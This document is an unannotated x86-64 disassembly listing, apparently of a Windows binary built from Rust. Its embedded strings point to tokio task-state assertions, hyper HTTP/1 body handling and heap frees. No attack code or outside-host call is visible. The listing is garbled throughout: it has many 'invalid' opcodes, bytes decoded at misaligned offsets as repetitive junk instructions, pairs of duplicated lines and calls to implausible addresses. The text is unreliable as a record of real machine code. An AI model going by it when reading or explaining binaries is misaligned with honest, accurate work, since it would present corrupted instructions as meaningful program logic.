lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x77], cl
stc
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x77], cl
stc
call fcn.14008ffe0
mov qword [rsi + 0x30], 2
xorps xmm0, xmm0
movups xmmword [rsi + 0x38], xmm0
mov qword [rsi + 0x48], 0
mov dword [rsi + 0x48], 0
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400908e3
test eax, eax
jne 0x1400908fd
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
add eax, 0x31f4e800
add al, 0
add eax, 0x31f4e800
add al, 0
mov byte [rdi + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
retf
mov rcx, rsi
call fcn.1400911a0
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x140090705
pop rsi
sub byte [rbx - 0x7bf0fe08], al
fdivp st(5)
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x140090731
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
jmp 0x140090705
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x140090848
xorps xmm6, xmm6
test eax, eax
jne 0x140090874
leave
invalid
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140090a08
xorps xmm6, xmm6
test eax, eax
jne 0x140090a34
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14008ffe0
mov qword [rdi], 3
jmp 0x140090693
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x50]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
jns 0x140090b96
mov eax, dword [rdi + 0x30]
mov qword [rdi + 0x30], 3
cmp rax, 2
jne 0x140090bce
movups xmm0, xmmword [rdi + 0x38]
movups xmm1, xmmword [rdi + 0x48]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [rsi]
cmp rax, 2
je 0x140090bb5
test rax, rax
je 0x140090bb5
mov rdi, qword [rsi + 8]
test rdi, rdi
je 0x140090bb5
mov rbx, qword [rsi + 0x10]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140090bb5
cmp qword [rbx + 0x10], 0x11
jb 0x140090ba3
adc dword [rdx + 4], esi
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
and al, 0x30
and al, 0x30
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
lea rax, str.JoinHandle_polled_after_completion
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x20]
call fcn.140104620
int3
add byte [rax], al
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
ror dword [rax - 0x7d], 0xf1
add esi, eax
cmpxchg qword [rsi], rcx
jne 0x1400911c0
test al, 1
je 0x1400913ab
test al, 2
jne 0x1400913c3
test al, 8
jne 0x1400912e6
test dword [rax], eax
add dword [rax], eax
invalid
test dword [rax], eax
add dword [rax], eax
add byte [rax - 0x75], cl
jle 0x140091212
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14009123d
xorps xmm6, xmm6
test eax, eax
jne 0x140091269
mov eax, dword [0x14017d2b4]
sahf
ror byte [rsi], 0
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
xor al, r13b
outsb dx, byte [rsi]
in eax, dx
invalid
lea rcx, [rsi + 0x30]
call fcn.14008ffe0
mov qword [rsi + 0x30], 3
mov eax, dword [0x14017d2b4]
xor al, 0xc0
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400912ca
xor al, 0xc0
invalid
test eax, eax
jne 0x140091304
sal byte [rbp + 0x67], 0x8b
add eax, 0xec011
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rdi + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
jmp 0x140091304
test al, 0x10
je 0x140091304
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x140091447
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x10]
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ead20
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x1400913db
invalid
wait
add byte [rax], al
invalid
invalid
jne 0x140091398
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x140091353
mov rcx, rdi
call fcn.140069ba0
lea rcx, [rsi + 0x30]
call fcn.14008ffe0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x140091372
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ab80]
mov edx, 0x23
call fcn.1401046f0
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014abc0]
mov edx, 0x25
call fcn.1401046f0
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:_
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x14014ac08]
lea rcx, [rsp + 0x30]
call fcn.140104620
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.140104620
int3
push rdi
ror byte [rdi], 0x11
test byte [rax + rdi*4], ah
add byte [rax], al
add cl, ch
pop rcx
add dword [rax], eax
add byte [rcx + rcx*4 - 0x54], cl
and al, 0xc8
add byte [rax], al
add byte [rax - 0x73], cl
je 0x140091a4f
cmp byte [rdi], cl
mov dh, 0x43
jns 0x140091a79
mov dword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
movzx eax, al
lea rbp, [0x140174894]
movsxd rax, dword [rbp + rax*4]
add rax, rbp
lea r14, [rsp + 0x38]
lea esi, [rsp + 0x38]
jmp rax
add byte [rax], 0
add byte [rdi], cl
adc byte [rsp + 0x20], al
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [rsp + 0xb8], xmm1
movups xmmword [rsp + 0xa8], xmm0
jmp 0x140091b78
fadd qword [rax]
add byte [rax], al
fadd qword [rax]
add byte [rax], al
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xa8], 0
mov ecx, 0x10
add byte [rax], al
add byte [rax], al
mov qword [rsp + rcx + 0xa0], rax
xor r15d, r15d
jmp 0x140091b66
lea ecx, [rsp + 0x38]
xor r15d, r15d
mov rdx, r14
xor r8d, r8d
call qword [rsi + 0x10]
jmp 0x140091b66
add byte [rax - 0x77], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xaae20
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1conn.rsinternal_error:_entered_unreachable_code:_write_body_invalid_state:
lea rcx, [rsp + 0x50]
call fcn.140104620
test r15, r15
je 0x140091b78
mov qword [r13], 2
jmp 0x140091cf6
lea r12, [rbx + 0x78]
mov r15, qword [rsp + 0xa8]
mov r14, qword [rsp + 0xb0]
test r15, r15
je 0x140091bc9
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r14
movups xmm0, xmmword [rsp + 0xb8]
movups xmmword [rsp + 0x60], xmm0
movzx eax, byte [r12]
cmp eax, 2
je case.0x140073b82.77
jnp 0x140091c33
or al, 0xf
xchg esp, eax
ror byte [rax - 0x75], 0x4c
and al, 0x60
test al, al
jne 0x140091be9
jmp 0x140091c45
mov rsi, r13
mov r13d, 1
mov ebp, 4
jmp 0x140091cac
mov rsi, r13
test rcx, rcx
je 0x140091c6b
lea rax, [rsp + 0xb8]
mov rcx, qword [rsp + 0xf8]
mov qword [rsp + 0xe0], rcx
movups xmm0, xmmword [rsp + 0xe8]
add byte [rdi], cl
sub dword [rsp + 0xd0], eax
add byte [rdi], cl
sub dword [rsp + 0xd0], eax
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x100], xmm0
mov r13d, 1
mov ebp, 3
jmp 0x140091cac
mov ebx, 0x80
add byte [rdi], cl
xchg esp, eax
ror byte [rax - 0x75], 0x4c
and al, 0x60
test al, al
jne 0x140091be9
test rcx, rcx
je 0x140091c72
mov qword [r13], 1
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [r13 + 8], xmm0
movups xmmword [r13 + 0x18], xmm1
jmp 0x140091cf6
mov ebp, 3
jmp 0x140091c7a
mov rsi, r13
mov ebp, 4
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0xe0], rax
movups xmm0, xmmword [rsp + 0xe8]
movaps xmmword [rsp + 0xd0], xmm0
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x68]
xor r13d, r13d
mov rdx, r14
xor r8d, r8d
call qword [r15 + 0x10]
mov qword [rbx + 0x70], rbp
mov rax, qword [rsp + 0xe0]
mov qword [r12 + 0x10], rax
movaps xmm0, xmmword [rsp + 0xd0]
movups xmmword [r12], xmm0
mov rcx, rbx
call fcn.1400916a0
invalid
dec dword [rax - 0x77]
invalid
mov rdx, qword [rsp + 0x48]
call fcn.140091780
mov qword [rsi], r13
mov qword [rsi + 8], r15
mov qword [rsi + 0x10], r14
movaps xmm0, xmmword [rsp + 0x100]
movups xmmword [rsi + 0x18], xmm0
invalid
add rsp, 0x118
pop rbx
pop rbp
pop rdi
invalid
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x50]
mov r9d, 1
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x40
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x40
mov r8, qword [rsp + 0x48]
call fcn.140095f90
mov al, 2
cmp qword [rsp + 0x50], 0
jne 0x14009211e
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
test rax, rax
je 0x140091eaa
lea rcx, [rsp + 0x68]
movups xmm0, xmmword [rcx]
lea rcx, [rsp + 0x30]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
mov r8, qword [rsp + 0x30]
test r8, r8
je 0x140091e6e
movzx r12d, byte [rdx]
mov rcx, r14
call qword [rax + 0x10]
lea eax, [r12 - 0x30]
cmp al, 0xa
jae 0x140091dca
mov rcx, qword [rbx + 0x80]
mov rdx, rcx
shr rdx, 0x3c
jne 0x140091ebe
shl rcx, 4
movzx eax, al
or rax, rcx
mov qword [rbx + 0x80], rax
mov al, 1
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movzx r13d, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
lea eax, [r12 - 0x61]
cmp al, 6
jae 0x140091e1c
mov rax, qword [rbx + 0x80]
mov rcx, rax
ror dword [rax - 0x3f], 0xe9
cmp al, 0xf
test edi, edx
add byte [rax], al
invalid
shl rax, 4
add r12b, 0xa9
movzx ecx, r12b
add rcx, rax
mov qword [rbx + 0x80], rcx
mov al, 1
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
movzx r13d, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
lea eax, [r12 - 0x41]
cmp al, 6
jae 0x140091e99
mov rax, qword [rbx + 0x80]
mov rcx, rax
shr rcx, 0x3c
jne 0x140091ebe
shl rax, 4
add r12b, 0xc9
movzx ecx, r12b
add rcx, rax
mov qword [rbx + 0x80], rcx
mov al, 1
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
movzx r13d, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
lea rdx, [0x14013c98d]
mov r8d, 0x25
mov cl, 0x25
call fcn.140096230
mov rdi, rax
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
mov rcx, r14
jmp 0x140091eb4
lea rdx, [0x14013c9b2]
mov r8d, 0x2b
mov cl, 0x14
jmp 0x140091ecd
mov al, 1
mov rdi, rdx
jmp 0x14009211e
push 2
add byte [rax], al
push 2
add byte [rax], al
call qword [rax + 0x10]
mov al, 1
jmp 0x14009211e
lea rdx, [0x14013c9dd]
mov r8d, 0x1c
add byte [rcx - 0x48], al
sbb al, 0
add byte [rax], al
mov cl, 0x15
call fcn.140096230
add byte [rax], al
mov rdi, rax
mov qword [rsp + 0xa8], 0
and al, 0xa8
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov esp, 0xb024
invalid
and al, 0xa8
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov esp, 0xb024
add byte [rbp + 0x31], al
dec dword [rax - 0x75]
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rbx + rcx*4 - 0x54], 0x24
enter 0, 0
xor r15d, r15d
mov rax, qword [rsp + 0x80]
test rax, rax
mov r13, qword [rsp + 0xc8]
jne 0x14009217a
test dword [rbp + 2], esi
add byte [rax], al
jmp 0x140091b66
lea rcx, [rsp + 0x50]
mov r9d, 1
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
call fcn.140095f90
mov al, 2
cmp qword [rsp + 0x50], 0
jne 0x14009211e
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
test rax, rax
je 0x140091eaa
mov r15, rbp
lea rcx, [rsp + 0x68]
and al, 0x68
and al, 0x68
movups xmm0, xmmword [rcx]
lea rcx, [rsp + 0x30]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
mov r8, qword [rsp + 0x30]
test r8, r8
lea rbp, [rsp + 0x38]
je 0x1400920e2
movzx r13d, byte [rdx]
mov rcx, rbp
call qword [rax + 0x10]
lea eax, [r13 - 0x30]
cmp al, 0xa
jae 0x140091fd3
mov rcx, qword [rbx + 0x80]
mov rdx, rcx
shr rdx, 0x3c
shr edx, 0x3c
shr edx, 0x3c
jne 0x140091ebe
mov rbp, r15
shl rcx, 4
movzx eax, al
or rax, rcx
mov qword [rbx + 0x80], rax
mov al, 1
mov byte [rbx + 0x79], al
jns 0x140092003
mov dword [rsp + 0x80], 0
jns 0x140092003
mov dword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
call 0xef0d8319
movzx r13d, al
movsxd rax, dword [r15 + r13*4]
add rax, r15
jmp rax
lea eax, [r13 - 0x61]
lahf
cmp al, 6
mov rbp, r15
jae 0x140092027
mov rax, qword [rbx + 0x80]
mov rcx, rax
shr rcx, 0x3c
shr ecx, 0x3c
shr ecx, 0x3c
jne 0x140091ebe
shl rax, 4
add r13b, 0xa9
movzx ecx, r13b
add rcx, rax
mov qword [rbx + 0x80], rcx
mov al, 1
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
movzx r13d, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
mov eax, dword [rax - 0x50000000]
add dword [rax - 0x38b786bd], ecx
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
call 0xed4d836b
add byte [rax + 1], cl
call 0xcd4b0128
mov r15d, 0x4973063c
lea eax, [r13 - 0x41]
cmp al, 6
jae 0x140092078
mov rax, qword [rbx + 0x80]
mov rcx, rax
shr rcx, 0x3c
jne 0x140091ebe
shl rax, 4
add r13b, 0xc9
invalid
leave
movzx ecx, r13b
add rcx, rax
mov qword [rbx + 0x80], rcx
add byte [rax + 0x79438801], dh
invalid
add byte [rax + 0x79438801], dh
mov qword [rsp + 0x80], 0
movzx r13d, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
call 0xed4d83bc
add byte [rax + 1], cl
call 0x142ba0179
mov al, 2
cmp r13d, 0x1f
jg 0x1400920b3
cmp r13d, 9
je 0x1400923b3
cmp r13d, 0xd
jne 0x140092115
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
cmp r13d, 0x20
je 0x1400923b3
cmp r13d, 0x3b
jne 0x140092115
mov dword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
movzx r13d, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
lea rdx, [0x14013c98d]
adc eax, 0xaa8a4
mov r8d, 0x25
mov cl, 0x25
call fcn.140096230
mov rdi, rax
invalid
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
mov rcx, rbp
call qword [rax + 0x10]
mov al, 1
mov rbp, r15
jmp 0x14009211e
invalid
test al, al
jne 0x14009214f
mov qword [rsp + 0x80], 0
movzx r13d, r13b
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
std
invalid
test rax, rax
mov r13, qword [rsp + 0xc8]
enter 0, 0
enter 0, 0
je 0x140091b66
lea rcx, [rsp + 0x98]
mov rdx, qword [rsp + 0x88]
add byte [rax], al
add byte [rax], al
mov r8, qword [rsp + 0x90]
call qword [rax + 0x10]
jmp 0x140091b66
mov r8d, 0x25
and eax, 0xb1000000
adc al, 0xe9
std
invalid
mov cl, 0x14
jmp 0x140091ecd
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x40
mov r8, qword [rsp + 0x48]
call fcn.140095f90
mov al, 2
cmp qword [rsp + 0x50], 0
jne 0x14009211e
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
test rax, rax
je 0x140091eaa
lea rcx, [rsp + 0x68]
movups xmm0, xmmword [rcx]
lea rcx, [rsp + 0x30]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], rdx
mov r8, qword [rsp + 0x30]
test r8, r8
je 0x140092287
mov rcx, rsi
movzx esi, byte [rdx]
xor bh, bh
push rax
adc byte [rax + 0x1ffe8302], dh
xor bh, bh
push rax
adc byte [rax + 0x1ffe8302], dh
jg 0x140092255
cmp esi, 9
je 0x14009236a
cmp esi, 0xd
jne 0x1400922b5
mov al, 4
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
movzx r13d, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
lea rsi, [rsp + 0x38]
jmp rax
cmp esi, 0x20
je 0x14009236a
add byte [rax], al
add byte [rax], al
cmp esi, 0x3b
jne 0x1400922b5
mov al, 3
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
movzx r13d, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
lea rsi, [rsp + 0x38]
lea esi, [rsp + 0x38]
add byte [rax + 1], cl
call 0x1647dafcc
lea esi, [rsp + 0x38]
jmp rax
invalid
lea esi, [rsp + 0x38]
jmp rax
lea rdx, [0x14013c98d]
lea edx, [0x14013c98d]
mov r8d, 0x25
mov cl, 0x25
call fcn.140096230
mov rdi, rax
mov edi, eax
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov edx, dword [rsp + 0x28]
and eax, 0xb1000000
and eax, 0x3f95e8
add byte [rax - 0x77], cl
mov edi, eax
mov edx, dword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
mov rcx, rsi
jmp 0x140091eb4
invalid
sti
invalid
invalid
invalid
lea rdx, [0x14013ca4e]
xchg edx, eax
cmpsd dword [rsi], dword [rdi]
or al, byte [rax]
jmp 0x14009219a
mov r8, qword [rsp + 0x48]
call fcn.140095f90
mov al, 2
cmp qword [rsp + 0x50], 0
jne 0x14009211e
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
test rax, rax
je 0x140091eaa
lea rcx, [rsp + 0x68]
movups xmm0, xmmword [rcx]
lea rcx, [rsp + 0x30]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
mov r8, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
test r8, r8
test eax, eax
je 0x140092383
movzx esi, byte [rdx]
lea rcx, [rsp + 0x38]
call qword [rax + 0x10]
mov al, 4
cmp esi, 0xd
je 0x14009236a
cmp byte [rbx + 0x3a740afe], al
cmp esi, 0xa
je 0x140092371
mov rcx, qword [rbx + 0x88]
inc rcx
ror dword [rax - 0x77], 0x8b
mov byte [rax], al
add byte [rax], al
add byte [rax - 0x67eb7fd], dh
invalid
invalid
add byte [rax], al
lea rsi, [rsp + 0x38]
jbe 0x1400923b3
add byte [rax], al
add byte [rax - 0x67eb7fd], dh
invalid
lea rdx, [0x14013ca9b]
lea edx, [0x14013ca9b]
mov r8d, 0x1b
jmp 0x140091ecb
lea rsi, [rsp + 0x38]
jmp 0x1400923b3
lea rdx, [0x14013ca73]
mov r8d, 0x28
jmp 0x140091ecb
lea rdx, [0x14013c98d]
mov r8d, 0x25
mov cl, 0x25
call fcn.140096230
mov rdi, rax
mov edi, eax
mov edi, eax
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
lea rcx, [rsp + 0x38]
jmp 0x140091eb4
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movzx r13d, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
mov r12, qword [rbx + 0x80]
mov esp, dword [rbx + 0x80]
lea rcx, [rsp + 0x50]
add byte [rax], al
movzx r13d, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
mov esp, dword [rbx + 0x80]
lea rcx, [rsp + 0x50]
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x50
mov r9d, 1
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
call fcn.140095f90
mov al, 2
cmp qword [rsp + 0x50], 0
jne 0x14009211e
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
test rax, rax
je 0x140091eaa
lea rcx, [rsp + 0x68]
movups xmm0, xmmword [rcx]
add dword [rax - 0x73], ecx
and al, 0x30
add dword [rax - 0x73], ecx
and al, 0x30
movups xmmword [rcx], xmm0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
mov r8, qword [rsp + 0x30]
test r8, r8
je 0x140092383
invalid
dec dword [rdi]
mov dh, 0x32
movzx esi, byte [rdx]
lea rcx, [rsp + 0x38]
call qword [rax + 0x10]
cmp sil, 0xa
or dh, byte [rbp + 0x15]
or dh, byte [rbp + 0x15]
xor eax, eax
test r12, r12
sete al
lea r13d, [rax + rax*4]
add r13d, 5
jmp 0x14009250a
stosb byte [rdi], al
add byte [rax], al
invalid
stosb byte [rdi], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [0x14013ca39]
lea rdx, [0x14013ca39]
movsd dword [rdi], dword [rsi]
or al, byte [rax]
mov r8d, 0x15
mov cl, 0x14
jmp 0x140091ecd
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
and al, 0x48
and al, 0x48
call fcn.140095f90
mov al, 2
cmp qword [rsp + 0x50], 0
jne 0x14009211e
cld
invalid
invalid
cmp eax, dword [rax]
add byte [rax + 0x7c834802], dh
and al, 0x50
add byte [rdi], cl
test dword [rcx + 0x48fffffc], eax
cld
invalid
dec dword [rax - 0x75]
je 0x1400924c5
pop rax
cld
invalid
mov rsi, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
test rsi, rsi
test esi, esi
test esi, esi
je 0x140092564
lea rax, [rsp + 0x68]
lea eax, [rsp + 0x68]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x30]
movups xmmword [rax], xmm0
add byte [rax - 0x77], cl
je case.0x14005d242.168
and byte [rcx + rcx*4 + 0x64], cl
and al, 0x28
add byte [rax - 0x77], cl
je case.0x14005d242.168
and byte [rcx + rcx*4 + 0x64], cl
and al, 0x28
mov rax, qword [rsp + 0x30]
and al, 0x30
test rax, rax
je 0x140092552
mov rcx, qword [rsp + 0x20]
and al, 0x20
